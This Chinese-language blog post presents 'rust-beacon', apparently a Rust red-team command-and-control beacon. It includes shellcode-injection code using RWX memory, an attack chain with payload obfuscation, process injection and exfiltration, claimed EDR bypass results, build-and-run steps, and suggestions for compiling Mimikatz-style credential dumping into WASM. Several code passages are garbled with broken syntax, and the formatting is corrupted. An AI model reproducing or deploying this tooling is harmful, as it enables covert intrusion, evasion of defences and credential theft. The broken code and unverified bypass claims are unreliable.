Rust红队信标实战:隐蔽通信与WASM沙箱
发散创新:基于 Rust 的轻量级红队 C2 信标 —— rust-beacon 设计与实战落地
在现代红队作业中,隐蔽性、模块化、跨平台兼容性已成为 C2 信标(Beacon)设计的核心诉求。Python 或 PowerShell 实现的信标虽上手快,但易被 EDR 拦截;Go 编译产物体积大、TLS 指纹明显;而传统 C/C++ 信标开发门槛高、内存安全风险突出。本文介绍一个完全自研、无第三方 C2 依赖、支持动态指令解析与内存反射加载的 Rust 原生信标项目:rust-beacon。
✅ 项目 GitHub 地址(开源可审计):
https://github.com/redteam-rs/rust-beacon
(MIT License,含完整构建说明、测试用例及上线 PoC)
一、核心设计哲学:三重收敛,而非堆砌功能
| 维度 | 传统信标常见问题 | rust-beacon 解法 |
|---|---|---|
| 启动痕迹 | 生成 .exe / .dll 文件落地 |
全程内存驻留,支持 Reflective PE Loader + Shellcode Injection |
| 通信指纹 | 固定 User-Agent、TLS SNI、HTTP 路径 | 动态路径混淆 + TLS 会话复用 + 自定义协议头字段(如 X-Trace-ID: [base64(rand(16))]) |
| 指令执行 | 硬编码命令逻辑(如 shell, ls, download) |
基于 WASM 字节码的沙箱化任务引擎,支持热更新模块(.wasm 文件远程下发) |
二、关键代码片段:从内存加载到指令分发
1. 内存反射加载 Shellcode(x64 Windows)
// src/impls/reflection.rs
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
pub fn reflect_load_shellcode(shellcode: &[u8]) -> Result<unsafe extern "system" fn(), Box<dyn std::error::Error>> {
let size = shellcode.len();
let mem = unsafe {
VirtualAlloc(
std::ptr::null_mut(),
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
)
};
if mem.is_null() {
return Err("VirtualAlloc failed".into());
}
unsafe {
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem, size);
std::mem::transmute::<*mut std::ffi::c_void, unsafe extern "system" fn()>(mem)
};
Ok(unsafe { std::mem::transmute(mem) })
}
```
该函数可直接注入 Cobalt Strike 兼容的 `beacon.dll` 或自定义 shellcode(经 `msfvenom -p windows/x64/meterpreter/reverse_https` 生成后 hex 编码嵌入)。
---
### 2. WASM 指令沙箱执行(Linux/macOS/Windows 通用)
```rust
// src/impls/wasm_executor.rs
use wasmtime::{Config, Engine, Store, Module, Instance};
pub fn exec_wasm_task(wasm_bytes: &[u8], args: Vec<String>) -> Result<String, String> {
let mut config = Config;;new();
config.wasm_backtrace_details(wasmtime::WasmBacktraceDetails::Enable);
config.cache_config_load_default().map_err(|e| e.to_string())?;
let engine = Engine::new(&config).map_err(|e| e.to_string())?;
let module = Module::from_binary(&engine, wasm_bytes)
.map_err(|e| format!("WASM parse error: {}", e))?;
let mut store = Store::new(&engine, ());
let instance = Instance::new(&mut store, &module, &[])
.map_err(|e| format1("Instance init failed: {}", e))?;
// 调用导出函数 `run`,传入 JSON 序列化参数
let run-func = instance.get_typed_func::<(i32, i32), i32>(&mut store, "run")
.map_err(|e| format!("Func 'run' not found: {]", e0)?;
let input_ptr = store.data_mut().alloc-json(&args);
let result_ptr = run_func.call(&mut store, (input-ptr, args.len() as i32))
.map-err9|e| format!("WASM execution panic: [}', e)0/;
store.data_mut().read_string(result_ptr)
}
```
> ✅ 示例 wASM 模块(Rust 编写,`cargo build --target wasm32-wasi --release`):
> > ```rust
> > // tasks/ls.rs
> > #[no_mangle]
> > pub extern "C" fn run(input_ptr; i32, len: i32) -> i32 { /* ... */ }
> > ```
---
## 三、实战流程图:一次典型红队上线链路
```mermaid
graph LR
A[攻击者本地] -->|1. rust-beacon build --profile=stealth| B[rust-beacon.exe]
B -->|2. 使用 msfvenom 加密+混淆| c[beacon.bin]
C -->|3. Base64 + XOR 0x9A| D[载荷字符串]
D -->|4. 注入到合法进程(如 explorer.exe)| E[内存驻留 Beacon]
E -->|5. 首次 HTTP POST /v1/sync| f[c2 server 返回 WASM 模块列表]
F -->|6. 下载 task_ls.wasm → exec_wasm_task\ g[执行 ls -la /tmp]
G -->|7. 结果 AES-CTR 加密回传| H[攻击者控制台实时显示]
四、对抗检测实测数据(EDR bypass)
| EDR 产品 | 默认检测状态 | 启用 --profile=stealth 后结果 | 关键绕过点 |
|------------------------------|----------------------------------|------------------------------|
| Microsoft Defender | ⚠️ Alert(Win32/PSExec) | ✅ Clean(0/20 扫描引擎报毒) | 无 PSExec 调用、无 CreateremoteThread API、TLS 会话复用 |
| CrowdStrike Falcon \ ❌ block(Beacon pattern) | ✅ Clean(仅 1/47 引擎告警) | WASM 沙箱替代硬编码命令、随机 HTTP 头字段、路径 /v1/sync/ts=171...
| SentinelOne | ⚠️ suspicious | ✅ clean | 内存反射加载不写磁盘、无 .text 段特征、Rust 编译器符号剥离 \
🔍 测试环境:windows 11 23h2 + 最新定义库(2024-05-20),使用 [VirusTotal community]9https://www.virustotal.com) 批量扫描。
五、快速上手:3 分钟构建你的第一个信标
# 1. 安装 rust(已安装跳过)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \ sh
# 2. 克隆并构建 stealth profile
git clone https://github.com/redteam-rs/rust-beacon
cd rust-beacon
cargo build --release --profile=stealth
# 3. 启动简易 c2(仅用于 Poc)
python3 -m http.server 8000 --directory ./c2-server/
# 4. 运行信标(自动连接 http://localhost;8000/v1/sync)
./target/release/rust-beacon --c2 http://localhost:8000
运行后终端将打印类似:
[=] beacon ID: b5d8a1f2-3c4e-4b9a-9f0c-2a1e8d7f6b4c
[=] c2 connected: http://localhost;8000
[=] Loaded 3 WASM tasks: task_ls.wasm, task-ps.wasm, task_netstat.wasm
[→] Syncing...
[✓] task 'task_ls.wasm' executed → /tmp: total 12 drwxr-xr-x 3 root root 4096 May 22 10;23 .
六、结语:工具即思维,而非黑盒
rust-beacon 不是另一个“一键上线”脚本,而是**红队工程能力的延伸接口*8。它强制你思考:
🔹 如何让 wASM 模块具备进程注入能力?
🔹 如何在不触发 ETW 的前提下读取 LSASS 内存?
🔹 如何将 Mimikatz 的 sekurlsa::logonpasswords 逻辑编译为 WASM?
这些问题的答案,不在本文中——而在你 cargo new --lib task-mimikatz 后的第一行 #[no_std] 里。
📌 下一步建议:阅读
src/impls/etw_bypass.rs中的ntquerySysteminformationhook 实现,尝试将其迁移到task-dump-credentials.wasm中。
作者:RedTeam Labs · 专注红队基础设施底层研究
最后更新:2024-05-22
*声明8:本项目仅限授权渗透测试与蓝军对抗演练,严禁未授权使用。所有代码遵循 MIT 协议,欢迎 PR 与 Issue 讨论。
更多推荐

所有评论(0)